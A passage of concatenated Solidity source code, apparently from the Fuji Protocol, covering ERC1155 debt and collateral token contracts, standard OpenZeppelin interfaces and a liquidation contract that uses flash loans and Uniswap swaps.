assetIDs[_type][_addr]; require(id <= qtyOfManagedAssets, Errors.VL_INVALID_ASSETID_1155); } //Setter Functions /** * @dev Sets the FujiProtocol Fee to be charged * @param _fee; Fee in Ray(1e27) to charge users for optimizerFee (1 ray = 100% APR) */ /* function setoptimizerFee(uint256 _fee) public onlyOwner { require(_fee >= WadRayMath.ray(), Errors.VL_OPTIMIZER_FEE_SMALL); optimizerFee = _fee; } */ /** * @dev Sets a new URI for all token types, by relying on the token type ID */ function setURI(string memory _newUri) public onlyOwner { _uri = _newUri; } /** * @dev Adds and initializes liquidity index of a new asset in FujiERC1155 * @param _type: enum AssetType, 0 = Collateral asset, 1 = debt asset * @param _addr: Reference Address of the Asset */ function addInitializeAsset(AssetType _type, address _addr) external override onlyPermit returns (uint64) { require(assetIDs[_type][_addr] == 0, Errors.VL_ASSET_EXISTS); assetIDs[_type][_addr] = qtyOfManagedAssets; assetIDtype[qtyOfManagedAssets] = _type; //Initialize the liquidity Index indexes[qtyOfManagedAssets] = WadRayMath.ray(); qtyOfManagedAssets++; return qtyOfManagedAssets - 1; } /** * @dev Function to calculate the interest using a compounded interest rate formula * To avoid expensive exponentiation, the calculation is performed using a binomial approximation: * * (1+x)^n = 1+n*x+[n/2*(n-1)]*x^2+[n/6*(n-1)*(n-2)*x^3... * * The approximation slightly underpays liquidity providers and undercharges borrowers, with the advantage of great gas cost reductions * The whitepaper contains reference to the approximation and a table showing the margin of error per different time periods * * @param _rate The interest rate, in ray * @param _lastUpdateTimestamp The timestamp of the last update of the interest * @return The interest rate compounded during the timeDelta, in ray **/ /* function _calculateCompoundedInterest( uint256 _rate, uint256 _lastUpdateTimestamp, uint256 currentTimestamp ) internal pure returns (uint256) { //solium-disable-next-line uint256 exp = currentTimestamp.sub(uint256(_lastUpdateTimestamp)); if (exp == 0) { return WadRayMath.ray(); } uint256 expMinusOne = exp - 1; uint256 expMinusTwo = exp > 2 ? exp - 2 : 0; uint256 ratePerSecond = _rate / SECONDS_PER_YEAR; uint256 basePowerTwo = ratePerSecond.rayMul(ratePerSecond); uint256 basePowerThree = basePowerTwo.rayMul(ratePerSecond); uint256 secondTerm = exp.mul(expMinusOne).mul(basePowerTwo) / 2; uint256 thirdTerm = exp.mul(expMinusOne).mul(expMinusTwo).mul(basePowerThree) / 6; return WadRayMath.ray().add(ratePerSecond.mul(exp)).add(secondTerm).add(thirdTerm); } */ } // SPDX-License-Identifier: MIT pragma solidity >=0.6.12; pragma experimental ABIEncoderV2; import { IERC1155 } from "@openzeppelin/contracts/token/ERC1155/IERC1155.sol"; import { IERC1155Receiver } from "@openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol"; import { IERC1155MetadataURI } from "@openzeppelin/contracts/token/ERC1155/IERC1155MetadataURI.sol"; import { ERC165 } from "@openzeppelin/contracts/introspection/ERC165.sol"; import { IERC165 } from "@openzeppelin/contracts/introspection/IERC165.sol"; import { Address } from "@openzeppelin/contracts/utils/Address.sol"; import { Context } from "@openzeppelin/contracts/utils/Context.sol"; import { SafeMath } from "@openzeppelin/contracts/math/SafeMath.sol"; import { Errors } from "../Libraries/Errors.sol"; /** * * @dev Implementation of the Base ERC1155 multi-token standard functions * for Fuji Protocol control of User collaterals and borrow debt positions. * Originally based on Openzeppelin * */ contract FujiBaseERC1155 is IERC1155, ERC165, Context { using Address for address; using SafeMath for uint256; // Mapping from token ID to account balances mapping(uint256 => mapping(address => uint256)) internal _balances; // Mapping from account to operator approvals mapping(address => mapping(address => bool)) internal _operatorApprovals; // Mapping from token ID to totalSupply mapping(uint256 => uint256) internal _totalSupply; //Fuji ERC1155 Transfer Control bool public transfersActive; modifier isTransferActive() { require(transfersActive, Errors.VL_NOT_AUTHORIZED); _; } //URI for all token types by relying on ID substitution //https://token.fujiDao.org/{id}.json string internal _uri; /** * @return The total supply of a token id **/ function totalSupply(uint256 id) public view virtual returns (uint256) { return _totalSupply[id]; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC1155).interfaceId || interfaceId == type(IERC1155MetadataURI).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC1155MetadataURI-uri}. * Clients calling this function must replace the `\{id\}` substring with the * actual token type ID. */ function uri(uint256) public view virtual returns (string memory) { return _uri; } /** * @dev See {IERC1155-balanceOf}. * Requirements: * - `account` cannot be the zero address. */ function balanceOf(address account, uint256 id) public view virtual override returns (uint256) { require(account != address(0), Errors.VL_ZERO_ADDR_1155); return _balances[id][account]; } /** * @dev See {IERC1155-balanceOfBatch}. * Requirements: * - `accounts` and `ids` must have the same length. */ function balanceOfBatch(address[] memory accounts, uint256[] memory ids) public view override returns (uint256[] memory) { require(accounts.length == ids.length, Errors.VL_INPUT_ERROR); uint256[] memory batchBalances = new uint256[](accounts.length); for (uint256 i = 0; i < accounts.length; ++i) { batchBalances[i] = balanceOf(accounts[i], ids[i]); } return batchBalances; } /** * @dev See {IERC1155-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(_msgSender() != operator, Errors.VL_INPUT_ERROR); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC1155-isApprovedForAll}. */ function isApprovedForAll(address account, address operator) public view virtual override returns (bool) { return _operatorApprovals[account][operator]; } /** * @dev See {IERC1155-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 id, uint256 amount, bytes memory data ) public virtual override isTransferActive { require(to != address(0), Errors.VL_ZERO_ADDR_1155); require( from == _msgSender() || isApprovedForAll(from, _msgSender()), Errors.VL_MISSING_ERC1155_APPROVAL ); address operator = _msgSender(); _beforeTokenTransfer( operator, from, to, _asSingletonArray(id), _asSingletonArray(amount), data ); uint256 fromBalance = _balances[id][from]; require(fromBalance >= amount, Errors.VL_NO_ERC1155_BALANCE); _balances[id][from] = fromBalance.sub(amount); _balances[id][to] = uint256(_balances[id][to]).add(amount); emit TransferSingle(operator, from, to, id, amount); _doSafeTransferAcceptanceCheck(operator, from, to, id, amount, data); } /** * @dev See {IERC1155-safeBatchTransferFrom}. */ function safeBatchTransferFrom( address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) public virtual override isTransferActive { require(ids.length == amounts.length, Errors.VL_INPUT_ERROR); require(to != address(0), Errors.VL_ZERO_ADDR_1155); require( from == _msgSender() || isApprovedForAll(from, _msgSender()), Errors.VL_MISSING_ERC1155_APPROVAL ); address operator = _msgSender(); _beforeTokenTransfer(operator, from, to, ids, amounts, data); for (uint256 i = 0; i < ids.length; ++i) { uint256 id = ids[i]; uint256 amount = amounts[i]; uint256 fromBalance = _balances[id][from]; require(fromBalance >= amount, Errors.VL_NO_ERC1155_BALANCE); _balances[id][from] = fromBalance.sub(amount); _balances[id][to] = uint256(_balances[id][to]).add(amount); } emit TransferBatch(operator, from, to, ids, amounts); _doSafeBatchTransferAcceptanceCheck(operator, from, to, ids, amounts, data); } function _doSafeTransferAcceptanceCheck( address operator, address from, address to, uint256 id, uint256 amount, bytes memory data ) internal { if (to.isContract()) { try IERC1155Receiver(to).onERC1155Received(operator, from, id, amount, data) returns ( bytes4 response ) { if (response != IERC1155Receiver(to).onERC1155Received.selector) { revert(Errors.VL_RECEIVER_REJECT_1155); } } catch Error(string memory reason) { revert(reason); } catch { revert(Errors.VL_RECEIVER_CONTRACT_NON_1155); } } } function _doSafeBatchTransferAcceptanceCheck( address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal { if (to.isContract()) { try IERC1155Receiver(to).onERC1155BatchReceived(operator, from, ids, amounts, data) returns ( bytes4 response ) { if (response != IERC1155Receiver(to).onERC1155BatchReceived.selector) { revert(Errors.VL_RECEIVER_REJECT_1155); } } catch Error(string memory reason) { revert(reason); } catch { revert(Errors.VL_RECEIVER_CONTRACT_NON_1155); } } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning, as well as batched variants. * * The same hook is called on both single and batched variants. For single * transfers, the length of the `id` and `amount` arrays will be 1. * * Calling conditions (for each `id` and `amount` pair): * * - When `from` and `to` are both non-zero, `amount` of ``from``'s tokens * of token type `id` will be transferred to `to`. * - When `from` is zero, `amount` tokens of token type `id` will be minted * for `to`. * - when `to` is zero, `amount` of ``from``'s tokens of token type `id` * will be burned. * - `from` and `to` are never both zero. * - `ids` and `amounts` have the same, non-zero length. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal virtual {} function _asSingletonArray(uint256 element) private pure returns (uint256[] memory) { uint256[] memory array = new uint256[](1); array[0] = element; return array; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; import "../../introspection/IERC165.sol"; /** * @dev Required interface of an ERC1155 compliant contract, as defined in the * https://eips.ethereum.org/EIPS/eip-1155[EIP]. * * _Available since v3.1._ */ interface IERC1155 is IERC165 { /** * @dev Emitted when `value` tokens of token type `id` are transferred from `from` to `to` by `operator`. */ event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value); /** * @dev Equivalent to multiple {TransferSingle} events, where `operator`, `from` and `to` are the same for all * transfers. */ event TransferBatch(address indexed operator, address indexed from, address indexed to, uint256[] ids, uint256[] values); /** * @dev Emitted when `account` grants or revokes permission to `operator` to transfer their tokens, according to * `approved`. */ event ApprovalForAll(address indexed account, address indexed operator, bool approved); /** * @dev Emitted when the URI for token type `id` changes to `value`, if it is a non-programmatic URI. * * If an {URI} event was emitted for `id`, the standard * https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[guarantees] that `value` will equal the value * returned by {IERC1155MetadataURI-uri}. */ event URI(string value, uint256 indexed id); /** * @dev Returns the amount of tokens of token type `id` owned by `account`. * * Requirements: * * - `account` cannot be the zero address. */ function balanceOf(address account, uint256 id) external view returns (uint256); /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {balanceOf}. * * Requirements: * * - `accounts` and `ids` must have the same length. */ function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids) external view returns (uint256[] memory); /** * @dev Grants or revokes permission to `operator` to transfer the caller's tokens, according to `approved`, * * Emits an {ApprovalForAll} event. * * Requirements: * * - `operator` cannot be the caller. */ function setApprovalForAll(address operator, bool approved) external; /** * @dev Returns true if `operator` is approved to transfer ``account``'s tokens. * * See {setApprovalForAll}. */ function isApprovedForAll(address account, address operator) external view returns (bool); /** * @dev Transfers `amount` tokens of token type `id` from `from` to `to`. * * Emits a {TransferSingle} event. * * Requirements: * * - `to` cannot be the zero address. * - If the caller is not `from`, it must be have been approved to spend ``from``'s tokens via {setApprovalForAll}. * - `from` must have a balance of tokens of type `id` of at least `amount`. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the * acceptance magic value. */ function safeTransferFrom(address from, address to, uint256 id, uint256 amount, bytes calldata data) external; /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {safeTransferFrom}. * * Emits a {TransferBatch} event. * * Requirements: * * - `ids` and `amounts` must have the same length. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the * acceptance magic value. */ function safeBatchTransferFrom(address from, address to, uint256[] calldata ids, uint256[] calldata amounts, bytes calldata data) external; } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../../introspection/IERC165.sol"; /** * _Available since v3.1._ */ interface IERC1155Receiver is IERC165 { /** @dev Handles the receipt of a single ERC1155 token type. This function is called at the end of a `safeTransferFrom` after the balance has been updated. To accept the transfer, this must return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` (i.e. 0xf23a6e61, or its own function selector). @param operator The address which initiated the transfer (i.e. msg.sender) @param from The address which previously owned the token @param id The ID of the token being transferred @param value The amount of tokens being transferred @param data Additional data with no specified format @return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` if transfer is allowed */ function onERC1155Received( address operator, address from, uint256 id, uint256 value, bytes calldata data ) external returns(bytes4); /** @dev Handles the receipt of a multiple ERC1155 token types. This function is called at the end of a `safeBatchTransferFrom` after the balances have been updated. To accept the transfer(s), this must return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` (i.e. 0xbc197c81, or its own function selector). @param operator The address which initiated the batch transfer (i.e. msg.sender) @param from The address which previously owned the token @param ids An array containing ids of each token being transferred (order and length must match values array) @param values An array containing amounts of each token being transferred (order and length must match ids array) @param data Additional data with no specified format @return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` if transfer is allowed */ function onERC1155BatchReceived( address operator, address from, uint256[] calldata ids, uint256[] calldata values, bytes calldata data ) external returns(bytes4); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; import "./IERC1155.sol"; /** * @dev Interface of the optional ERC1155MetadataExtension interface, as defined * in the https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[EIP]. * * _Available since v3.1._ */ interface IERC1155MetadataURI is IERC1155 { /** * @dev Returns the URI for token type `id`. * * If the `\{id\}` substring is present in the URI, it must be replaced by * clients with the actual token type ID. */ function uri(uint256 id) external view returns (string memory); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts may inherit from this and call {_registerInterface} to declare * their support of an interface. */ abstract contract ERC165 is IERC165 { /* * bytes4(keccak256('supportsInterface(bytes4)')) == 0x01ffc9a7 */ bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7; /** * @dev Mapping of interface ids to whether or not it's supported. */ mapping(bytes4 => bool) private _supportedInterfaces; constructor () internal { // Derived contracts need only register support for their own interfaces, // we register support for ERC165 itself here _registerInterface(_INTERFACE_ID_ERC165); } /** * @dev See {IERC165-supportsInterface}. * * Time complexity O(1), guaranteed to always use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return _supportedInterfaces[interfaceId]; } /** * @dev Registers the contract as an implementer of the interface defined by * `interfaceId`. Support of the actual ERC165 interface is automatic and * registering its interface id is not required. * * See {IERC165-supportsInterface}. * * Requirements: * * - `interfaceId` cannot be the ERC165 invalid interface (`0xffffffff`). */ function _registerInterface(bytes4 interfaceId) internal virtual { require(interfaceId != 0xffffffff, "ERC165: invalid interface id"); _supportedInterfaces[interfaceId] = true; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.12; pragma experimental ABIEncoderV2; import { IVault } from "./Vaults/IVault.sol"; import { IFujiAdmin } from "./IFujiAdmin.sol"; import { IFujiERC1155 } from "./FujiERC1155/IFujiERC1155.sol"; import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import { Flasher } from "./Flashloans/Flasher.sol"; import { FlashLoan } from "./Flashloans/LibFlashLoan.sol"; import { Ownable } from "@openzeppelin/contracts/access/Ownable.sol"; import { Errors } from "./Libraries/Errors.sol"; import { SafeMath } from "@openzeppelin/contracts/math/SafeMath.sol"; import { LibUniversalERC20 } from "./Libraries/LibUniversalERC20.sol"; import { IUniswapV2Router02 } from "@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol"; import { ReentrancyGuard } from "@openzeppelin/contracts/utils/ReentrancyGuard.sol"; interface IVaultExt is IVault { //Asset Struct struct VaultAssets { address collateralAsset; address borrowAsset; uint64 collateralID; uint64 borrowID; } function vAssets() external view returns (VaultAssets memory); } interface IFujiERC1155Ext is IFujiERC1155 { function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids) external view returns (uint256[] memory); } contract Fliquidator is Ownable, ReentrancyGuard { using SafeMath for uint256; using LibUniversalERC20 for IERC20; struct Factor { uint64 a; uint64 b; } // Flash Close Fee Factor Factor public flashCloseF; IFujiAdmin private _fujiAdmin; IUniswapV2Router02 public swapper; // Log Liquidation event Liquidate( address indexed userAddr, address liquidator, address indexed asset, uint256 amount ); // Log FlashClose event FlashClose(address indexed userAddr, address indexed asset, uint256 amount); // Log Liquidation event FlashLiquidate(address userAddr, address liquidator, address indexed asset, uint256 amount); modifier isAuthorized() { require(msg.sender == owner(), Errors.VL_NOT_AUTHORIZED); _; } modifier onlyFlash() { require(msg.sender == _fujiAdmin.getFlasher(), Errors.VL_NOT_AUTHORIZED); _; } modifier isValidVault(address _vaultAddr) { require(_fujiAdmin.validVault(_vaultAddr), "Invalid vault!"); _; } constructor() public { // 1.013 flashCloseF.a = 1013; flashCloseF.b = 1000; } receive() external payable {} // FLiquidator Core Functions /** * @dev Liquidate an undercollaterized debt and get bonus (bonusL in Vault) * @param _userAddrs: Address array of users whose position is liquidatable * @param _vault: Address of the vault in where liquidation will occur */ function batchLiquidate(address[] calldata _userAddrs, address _vault) external nonReentrant isValidVault(_vault) { // Update Balances at FujiERC1155 IVault(_vault).updateF1155Balances(); // Create Instance of FujiERC1155 IFujiERC1155Ext f1155 = IFujiERC1155Ext(IVault(_vault).fujiERC1155()); // Struct Instance to get Vault Asset IDs in f1155 IVaultExt.VaultAssets memory vAssets = IVaultExt(_vault).vAssets(); address[] memory formattedUserAddrs = new address[](2 * _userAddrs.length); uint256[] memory formattedIds = new uint256[](2 * _userAddrs.length); // Build the required Arrays to query balanceOfBatch from f1155 for (uint256 i = 0; i < _userAddrs.length; i++) { formattedUserAddrs[2 * i] = _userAddrs[i]; formattedUserAddrs[2 * i + 1] = _userAddrs[i]; formattedIds[2 * i] = vAssets.collateralID; formattedIds[2 * i + 1] = vAssets.borrowID; } // Get user Collateral and Debt Balances uint256[] memory usrsBals = f1155.balanceOfBatch(formattedUserAddrs, formattedIds); uint256 neededCollateral; uint256 debtBalanceTotal; for (uint256 i = 0; i < formattedUserAddrs.length; i += 2) { // Compute Amount of Minimum Collateral Required including factors neededCollateral = IVault(_vault).getNeededCollateralFor(usrsBals[i + 1], true); // Check if User is liquidatable if (usrsBals[i] < neededCollateral) { // If true, add User debt balance to the total balance to be liquidated debtBalanceTotal = debtBalanceTotal.add(usrsBals[i + 1]); } else { // Replace User that is not liquidatable by Zero Address formattedUserAddrs[i] = address(0); formattedUserAddrs[i + 1] = address(0); } } // Check there is at least one user liquidatable require(debtBalanceTotal > 0, Errors.VL_USER_NOT_LIQUIDATABLE); // Check Liquidator Allowance require( IERC20(vAssets.borrowAsset).allowance(msg.sender, address(this)) >= debtBalanceTotal, Errors.VL_MISSING_ERC20_ALLOWANCE ); // Transfer borrowAsset funds from the Liquidator to Here IERC20(vAssets.borrowAsset).transferFrom(msg.sender, address(this), debtBalanceTotal); // Transfer Amount to Vault IERC20(vAssets.borrowAsset).univTransfer(payable(_vault), debtBalanceTotal); // TODO: Get => corresponding amount of BaseProtocol Debt and FujiDebt // Repay BaseProtocol debt IVault(_vault).payback(int256(debtBalanceTotal)); //TODO: Transfer corresponding Debt Amount to Fuji Treasury // Compute the Liquidator Bonus bonusL uint256 globalBonus = IVault(_vault).getLiquidationBonusFor(debtBalanceTotal, false); // Compute how much collateral needs to be swapt uint256 globalCollateralInPlay = _getCollateralInPlay(vAssets.borrowAsset, debtBalanceTotal.add(globalBonus)); // Burn Collateral f1155 tokens for each liquidated user _burnMultiLoop(formattedUserAddrs, usrsBals, IVault(_vault), f1155, vAssets); // Withdraw collateral IVault(_vault).withdraw(int256(globalCollateralInPlay)); // Swap Collateral _swap(vAssets.borrowAsset, debtBalanceTotal.add(globalBonus), globalCollateralInPlay); // Transfer to Liquidator the debtBalance + bonus IERC20(vAssets.borrowAsset).univTransfer(msg.sender, debtBalanceTotal.add(globalBonus)); // Burn Debt f1155 tokens and Emit Liquidation Event for Each Liquidated User for (uint256 i = 0; i < formattedUserAddrs.length; i += 2) { if (formattedUserAddrs[i] != address(0)) { f1155.burn(formattedUserAddrs[i], vAssets.borrowID, usrsBals[i + 1]); emit Liquidate(formattedUserAddrs[i], msg.sender, vAssets.borrowAsset, usrsBals[i + 1]); } } } /** * @dev Initiates a flashloan used to repay partially or fully the debt position of msg.sender * @param _amount: Pass -1 to fully close debt position, otherwise Amount to be repaid with a flashloan * @param _vault: The vault address where the debt position exist. * @param _flashnum: integer identifier of flashloan provider */ function flashClose( int256 _amount, address _vault, uint8 _flashnum ) external nonReentrant isValidVault(_vault) { Flasher flasher = Flasher(payable(_fujiAdmin.getFlasher())); // Update Balances at FujiERC1155 IVault(_vault).updateF1155Balances(); // Create Instance of FujiERC1155 IFujiERC1155Ext f1155 = IFujiERC1155Ext(IVault(_vault).fujiERC1155()); // Struct Instance to get Vault Asset IDs in f1155 IVaultExt.VaultAssets memory vAssets = IVaultExt(_vault).vAssets(); // Get user Balances uint256 userCollateral = f1155.balanceOf(msg.sender, vAssets.collateralID); uint256 userDebtBalance = f1155.balanceOf(msg.sender, vAssets.borrowID); // Check Debt is > zero require(userDebtBalance > 0, Errors.VL_NO_DEBT_TO_PAYBACK); uint256 amount = _amount < 0 ? userDebtBalance : uint256(_amount); uint256 neededCollateral = IVault(_vault).getNeededCollateralFor(amount, false); require(userCollateral >= neededCollateral, Errors.VL_UNDERCOLLATERIZED_ERROR); address[] memory userAddressArray = new address[](1); userAddressArray[0] = msg.sender; FlashLoan.Info memory info = FlashLoan.Info({ callType: FlashLoan.CallType.Close, asset: vAssets.borrowAsset, amount: amount, vault: _vault, newProvider: address(0), userAddrs: userAddressArray, userBalances: new uint256[](0), userliquidator: address(0), fliquidator: address(this) }); flasher.initiateFlashloan(info, _flashnum); } /** * @dev Close user's debt position by using a flashloan * @param _userAddr: user addr to be liquidated * @param _vault: Vault address * @param _amount: amount received by Flashloan * @param _flashloanFee: amount extra charged by flashloan provider * Emits a {FlashClose} event. */ function executeFlashClose( address payable _userAddr, address _vault, uint256 _amount, uint256 _flashloanFee ) external onlyFlash { // Create Instance of FujiERC1155 IFujiERC1155 f1155 = IFujiERC1155(IVault(_vault).fujiERC1155()); // Struct Instance to get Vault Asset IDs in f1155 IVaultExt.VaultAssets memory vAssets = IVaultExt(_vault).vAssets(); // Get user Collateral and Debt Balances uint256 userCollateral = f1155.balanceOf(_userAddr, vAssets.collateralID); uint256 userDebtBalance = f1155.balanceOf(_userAddr, vAssets.borrowID); // Get user Collateral + Flash Close Fee to close posisition, for _amount passed uint256 userCollateralInPlay = IVault(_vault) .getNeededCollateralFor(_amount.add(_flashloanFee), false) .mul(flashCloseF.a) .div(flashCloseF.b); // TODO: Get => corresponding amount of BaseProtocol Debt and FujiDebt // Repay BaseProtocol debt IVault(_vault).payback(int256(_amount)); //TODO: Transfer corresponding Debt Amount to Fuji Treasury // Full close if (_amount == userDebtBalance) { f1155.burn(_userAddr, vAssets.collateralID, userCollateral); // Withdraw Full collateral IVault(_vault).withdraw(int256(userCollateral)); // Send unUsed Collateral to User IERC20(vAssets.collateralAsset).univTransfer( _userAddr, userCollateral.sub(userCollateralInPlay) ); } else { f1155.burn(_userAddr, vAssets.collateralID, userCollateralInPlay); // Withdraw Collateral in play Only IVault(_vault).withdraw(int256(userCollateralInPlay)); } // Swap Collateral for underlying to repay Flashloan uint256 remaining = _swap(vAssets.borrowAsset, _amount.add(_flashloanFee), userCollateralInPlay); // Send FlashClose Fee to FujiTreasury IERC20(vAssets.collateralAsset).univTransfer(_fujiAdmin.getTreasury(), remaining); // Send flasher the underlying to repay Flashloan IERC20(vAssets.borrowAsset).univTransfer( payable(_fujiAdmin.getFlasher()), _amount.add(_flashloanFee) ); // Burn Debt f1155 tokens f1155.burn(_userAddr, vAssets.borrowID, _amount); emit FlashClose(_userAddr, vAssets.borrowAsset, userDebtBalance); } /** * @dev Initiates a flashloan to liquidate array of undercollaterized debt positions, * gets bonus (bonusFlashL in Vault) * @param _userAddrs: Array of Address whose position is liquidatable * @param _vault: The vault address where the debt position exist. * @param _flashnum: integer identifier of flashloan provider */ function flashBatchLiquidate( address[] calldata _userAddrs, address _vault, uint8 _flashnum ) external isValidVault(_vault) nonReentrant { // Update Balances at FujiERC1155 IVault(_vault).updateF1155Balances(); // Create Instance of FujiERC1155 IFujiERC1155Ext f1155 = IFujiERC1155Ext(IVault(_vault).fujiERC1155()); // Struct Instance to get Vault Asset IDs in f1155 IVaultExt.VaultAssets memory vAssets = IVaultExt(_vault).vAssets(); address[] memory formattedUserAddrs = new address[](2 * _userAddrs.length); uint256[] memory formattedIds = new uint256[](2 * _userAddrs.length); // Build the required Arrays to query balanceOfBatch from f1155 for (uint256 i = 0; i < _userAddrs.length; i++) { formattedUserAddrs[2 * i] = _userAddrs[i]; formattedUserAddrs[2 * i + 1] = _userAddrs[i]; formattedIds[2 * i] = vAssets.collateralID; formattedIds[2 * i + 1] = vAssets.borrowID; } // Get user Collateral and Debt Balances uint256[] memory usrsBals = f1155.balanceOfBatch(formattedUserAddrs, formattedIds); uint256 neededCollateral; uint256 debtBalanceTotal; for (uint256 i = 0; i < formattedUserAddrs.length; i += 2) { // Compute Amount of Minimum Collateral Required including factors neededCollateral = IVault(_vault).getNeededCollateralFor(usrsBals[i + 1], true); // Check if User is liquidatable if (usrsBals[i] < neededCollateral) { // If true, add User debt balance to the total balance to be liquidated debtBalanceTotal = debtBalanceTotal.add(usrsBals[i + 1]); } else { // Replace User that is not liquidatable by Zero Address formattedUserAddrs[i] = address(0); formattedUserAddrs[i + 1] = address(0); } } // Check there is at least one user liquidatable require(debtBalanceTotal > 0, Errors.VL_USER_NOT_LIQUIDATABLE); Flasher flasher = Flasher(payable(_fujiAdmin.getFlasher())); FlashLoan.Info memory info = FlashLoan.Info({ callType: FlashLoan.CallType.BatchLiquidate, asset: vAssets.borrowAsset, amount: debtBalanceTotal, vault: _vault, newProvider: address(0), userAddrs: formattedUserAddrs, userBalances: usrsBals, userliquidator: msg.sender, fliquidator: address(this) }); flasher.initiateFlashloan(info, _flashnum); } /** * @dev Liquidate a debt position by using a flashloan * @param _userAddrs: array **See formattedUserAddrs construction in 'function flashBatchLiquidate' * @param _usrsBals: array **See construction in 'function flashBatchLiquidate' * @param _liquidatorAddr: liquidator address * @param _vault: Vault address * @param _amount: amount of debt to be repaid * @param _flashloanFee: amount extra charged by flashloan provider * Emits a {FlashLiquidate} event. */ function executeFlashBatchLiquidation( address[] calldata _userAddrs, uint256[] calldata _usrsBals, address _liquidatorAddr, address _vault, uint256 _amount, uint256 _flashloanFee ) external onlyFlash { // Create Instance of FujiERC1155 IFujiERC1155 f1155 = IFujiERC1155(IVault(_vault).fujiERC1155()); // Struct Instance to get Vault Asset IDs in f1155 IVaultExt.VaultAssets memory vAssets = IVaultExt(_vault).vAssets(); // TODO: Get => corresponding amount of BaseProtocol Debt and FujiDebt // TODO: Transfer corresponding Debt Amount to Fuji Treasury // Repay BaseProtocol debt to release collateral IVault(_vault).payback(int256(_amount)); // Compute the Liquidator Bonus bonusFlashL uint256 globalBonus = IVault(_vault).getLiquidationBonusFor(_amount, true); // Compute how much collateral needs to be swapt for all liquidated Users uint256 globalCollateralInPlay = _getCollateralInPlay(vAssets.borrowAsset, _amount.add(_flashloanFee).add(globalBonus)); // Burn Collateral f1155 tokens for each liquidated user _burnMultiLoop(_userAddrs, _usrsBals, IVault(_vault), f1155, vAssets); // Withdraw collateral IVault(_vault).withdraw(int256(globalCollateralInPlay)); _swap(vAssets.borrowAsset, _amount.add(_flashloanFee).add(globalBonus), globalCollateralInPlay); // Send flasher the underlying to repay Flashloan IERC20(vAssets.borrowAsset).univTransfer( payable(_fujiAdmin.getFlasher()), _amount.add(_flashloanFee) ); // Transfer Bonus bonusFlashL to liquidator, minus FlashloanFee convenience IERC20(vAssets.borrowAsset).univTransfer( payable(_liquidatorAddr), globalBonus.sub(_flashloanFee) ); // Burn Debt f1155 tokens and Emit Liquidation Event for Each Liquidated User for (uint256 i = 0; i < _userAddrs.length; i += 2) { if (_userAddrs[i] != address(0)) { f1155.burn(_userAddrs[i], vAssets.borrowID, _usrsBals[i + 1]); emit FlashLiquidate(_userAddrs[i], _liquidatorAddr, vAssets.borrowAsset, _usrsBals[i + 1]); } } } /** * @dev Swap an amount of underlying * @param _borrowAsset: Address of vault borrowAsset * @param _amountToReceive: amount of underlying to receive * @param _collateralAmount: collateral Amount sent for swap */ function _swap( address _borrowAsset, uint256 _amountToReceive, uint256 _collateralAmount ) internal returns (uint256) { // Swap Collateral Asset to Borrow Asset address[] memory path = new address[](2); path[0] = swapper.WETH(); path[1] = _borrowAsset; uint256[] memory swapperAmounts = swapper.swapETHForExactTokens{ value: _collateralAmount }( _amountToReceive, path, address(this), // solhint-disable-next-line block.timestamp ); return _collateralAmount.sub(swapperAmounts[0]); } /** * @dev Get exact amount of collateral to be swapt * @param _borrowAsset: Address of vault borrowAsset * @param _amountToReceive: amount of underlying to receive */ function _getCollateralInPlay(address _borrowAsset, uint256 _amountToReceive) internal view returns (uint256) { address[] memory path = new address[](2); path[0] = swapper.WETH(); path[1] = _borrowAsset; uint256[] memory amounts = swapper.getAmountsIn(_amountToReceive, path); return amounts[0]; } /** * @dev Abstracted function to perform MultBatch Burn of Collateral in Batch Liquidation * checking bonus paid to liquidator by each * See "function 